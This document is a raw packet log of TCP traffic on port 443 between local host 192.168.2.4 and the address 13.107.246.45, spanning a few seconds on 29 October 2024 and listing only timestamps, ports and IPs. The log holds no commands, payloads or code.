Oct 29, 2024 20:38:27.616797924 CET	443	49934	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.977139950 CET	443	49930	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.977814913 CET	49930	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.977832079 CET	443	49930	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:27.978308916 CET	49930	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:27.978316069 CET	443	49930	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.104371071 CET	443	49930	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.104695082 CET	443	49930	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.104769945 CET	49930	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.104862928 CET	49930	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.104863882 CET	49930	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.104887962 CET	443	49930	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.104903936 CET	443	49930	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.108535051 CET	49935	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.108592987 CET	443	49935	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.108674049 CET	49935	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.108910084 CET	49935	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.108933926 CET	443	49935	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.331653118 CET	443	49931	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.332290888 CET	49931	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.332329988 CET	443	49931	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.332819939 CET	49931	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.332825899 CET	443	49931	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.340400934 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.340511084 CET	443	49933	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.341092110 CET	49932	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.341092110 CET	49932	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.341119051 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.341133118 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.341353893 CET	49933	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.341384888 CET	443	49933	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.341819048 CET	49933	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.341825962 CET	443	49933	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.379209995 CET	443	49934	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.379561901 CET	49934	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.379575014 CET	443	49934	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.379956961 CET	49934	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.379961967 CET	443	49934	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.463017941 CET	443	49931	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.463525057 CET	443	49931	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.463623047 CET	49931	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.463623047 CET	49931	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.463675976 CET	49931	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.463696957 CET	443	49931	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.466640949 CET	49936	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.466667891 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.466914892 CET	49936	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.466914892 CET	49936	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.466937065 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.471230984 CET	443	49933	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.471555948 CET	443	49933	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.471656084 CET	49933	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.471698046 CET	49933	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.471698046 CET	49933	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.471715927 CET	443	49933	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.471729994 CET	443	49933	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.471978903 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.472009897 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.472055912 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.472083092 CET	49932	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.472194910 CET	49932	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.472246885 CET	49932	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.472246885 CET	49932	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.472265005 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.472275019 CET	443	49932	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.474298954 CET	49937	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.474329948 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.474421024 CET	49938	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.474436998 CET	443	49938	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.474510908 CET	49937	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.474646091 CET	49937	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.474658012 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.474689007 CET	49938	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.474870920 CET	49938	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.474884033 CET	443	49938	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.513037920 CET	443	49934	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.513289928 CET	443	49934	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.513335943 CET	443	49934	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.513362885 CET	49934	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.513426065 CET	49934	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.513426065 CET	49934	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.513638020 CET	49934	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.513643980 CET	443	49934	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.515623093 CET	49939	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.515654087 CET	443	49939	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.515791893 CET	49939	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.515882015 CET	49939	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.515893936 CET	443	49939	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.862900972 CET	443	49935	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.863807917 CET	49935	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.863853931 CET	443	49935	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.864722967 CET	49935	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.864739895 CET	443	49935	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.997071981 CET	443	49935	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.997309923 CET	443	49935	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.997456074 CET	49935	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.997730970 CET	49935	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.997730970 CET	49935	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:28.997757912 CET	443	49935	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:28.997769117 CET	443	49935	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.000601053 CET	49940	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.000634909 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.000962019 CET	49940	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.001144886 CET	49940	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.001163960 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.205075979 CET	443	49938	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.206111908 CET	49938	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.206146955 CET	443	49938	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.206262112 CET	49938	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.206268072 CET	443	49938	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.208828926 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.209615946 CET	49936	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.209615946 CET	49936	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.209638119 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.209691048 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.292804003 CET	443	49939	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.293423891 CET	49939	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.293442011 CET	443	49939	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.293692112 CET	49939	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.293698072 CET	443	49939	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.336901903 CET	443	49938	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.337208986 CET	443	49938	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.337291002 CET	49938	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.337352037 CET	49938	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.337378979 CET	443	49938	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.337390900 CET	49938	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.337398052 CET	443	49938	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.340415001 CET	49941	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.340478897 CET	443	49941	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.340555906 CET	49941	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.340754032 CET	49941	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.340770960 CET	443	49941	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.341924906 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.341959000 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.342009068 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.342017889 CET	49936	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.342051983 CET	49936	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.342215061 CET	49936	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.342221022 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.342231989 CET	49936	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.342236042 CET	443	49936	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.344502926 CET	49942	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.344548941 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.344638109 CET	49942	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.344790936 CET	49942	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.344805956 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.454051971 CET	443	49939	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.454169035 CET	443	49939	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.454248905 CET	49939	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.454441071 CET	49939	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.454462051 CET	443	49939	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.454468012 CET	49939	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.454473972 CET	443	49939	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.457679033 CET	49943	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.457736015 CET	443	49943	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.457892895 CET	49943	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.458072901 CET	49943	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.458085060 CET	443	49943	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.781296015 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.781883001 CET	49940	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.781954050 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.782370090 CET	49940	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.782386065 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.913000107 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.913063049 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.913175106 CET	49940	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.913206100 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.913270950 CET	49940	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.913522959 CET	49940	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.913574934 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.913606882 CET	49940	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.913624048 CET	443	49940	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.917182922 CET	49944	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.917284012 CET	443	49944	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:29.917383909 CET	49944	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.917620897 CET	49944	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:29.917640924 CET	443	49944	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.365900993 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.366641998 CET	49942	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.366710901 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.367129087 CET	49942	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.367145061 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.367264032 CET	443	49943	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.367763996 CET	49943	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.367785931 CET	443	49943	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.368210077 CET	49943	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.368216991 CET	443	49943	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.369092941 CET	443	49941	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.369540930 CET	49941	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.369549990 CET	443	49941	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.370117903 CET	49941	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.370122910 CET	443	49941	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.498454094 CET	443	49943	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.498619080 CET	443	49943	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.498838902 CET	49943	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.498903990 CET	49943	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.498903990 CET	49943	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.498924017 CET	443	49943	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.498934031 CET	443	49943	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.502463102 CET	443	49941	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.502521992 CET	443	49941	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.502723932 CET	49941	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.502733946 CET	443	49941	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.502857924 CET	49941	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.502857924 CET	49941	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.502876997 CET	49941	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.502882957 CET	443	49941	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.503303051 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.503712893 CET	49945	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.503721952 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.503762960 CET	443	49945	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.503778934 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.503812075 CET	49942	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.503850937 CET	49945	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.503881931 CET	49942	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.504076004 CET	49945	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.504082918 CET	443	49945	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.504273891 CET	49942	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.504273891 CET	49942	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.504319906 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.504348993 CET	443	49942	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.506270885 CET	49946	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.506371975 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.506613970 CET	49946	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.506707907 CET	49947	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.506710052 CET	49946	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.506719112 CET	443	49947	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.506741047 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.506947994 CET	49947	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.506947994 CET	49947	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.506974936 CET	443	49947	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.542362928 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.543692112 CET	49937	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.543692112 CET	49937	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.543705940 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.543718100 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.674381971 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.674462080 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.674576044 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.674618006 CET	49937	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.674846888 CET	49937	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.675589085 CET	49937	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.675606966 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.675664902 CET	49937	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.675672054 CET	443	49937	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.682130098 CET	49948	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.682174921 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.686345100 CET	49948	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.688235998 CET	49948	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.688255072 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.756633043 CET	443	49944	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.757841110 CET	49944	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.757841110 CET	49944	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.757884979 CET	443	49944	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.757906914 CET	443	49944	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.891784906 CET	443	49944	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.891860008 CET	443	49944	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.891992092 CET	443	49944	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.892303944 CET	49944	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.892303944 CET	49944	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.892409086 CET	49944	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.892466068 CET	443	49944	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.896017075 CET	49949	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.896060944 CET	443	49949	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:30.896193027 CET	49949	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.897141933 CET	49949	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:30.897152901 CET	443	49949	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.240003109 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.240626097 CET	49946	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.240678072 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.241354942 CET	49946	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.241369963 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.254479885 CET	443	49947	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.255450010 CET	49947	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.255450010 CET	49947	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.255466938 CET	443	49947	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.255480051 CET	443	49947	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.287836075 CET	443	49945	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.288863897 CET	49945	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.288863897 CET	49945	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.288880110 CET	443	49945	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.288894892 CET	443	49945	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.371162891 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.371625900 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.371687889 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.371702909 CET	49946	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.371761084 CET	49946	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.371876001 CET	49946	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.371902943 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.371916056 CET	49946	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.371921062 CET	443	49946	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.376717091 CET	49951	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.376765966 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.376967907 CET	49951	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.377332926 CET	49951	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.377343893 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.387964010 CET	443	49947	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.388040066 CET	443	49947	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.388133049 CET	49947	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.391050100 CET	49947	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.391074896 CET	443	49947	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.391088963 CET	49947	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.391094923 CET	443	49947	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.395078897 CET	49952	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.395124912 CET	443	49952	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.395200014 CET	49952	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.395410061 CET	49952	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.395428896 CET	443	49952	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.416577101 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.417231083 CET	49948	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.417248964 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.417663097 CET	49948	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.417669058 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.492094994 CET	443	49945	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.492171049 CET	443	49945	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.492264032 CET	49945	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.492542982 CET	49945	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.492568016 CET	443	49945	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.492594004 CET	49945	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.492602110 CET	443	49945	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.496586084 CET	49953	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.496629953 CET	443	49953	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.497139931 CET	49953	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.497390985 CET	49953	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.497415066 CET	443	49953	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.552023888 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.552054882 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.552105904 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.552180052 CET	49948	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.552552938 CET	49948	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.552575111 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.552587032 CET	49948	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.552592993 CET	443	49948	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.556113958 CET	49954	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.556152105 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.556231976 CET	49954	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.556495905 CET	49954	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.556507111 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.655987978 CET	443	49949	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.657305002 CET	49949	443	192.168.2.4	13.107.246.45
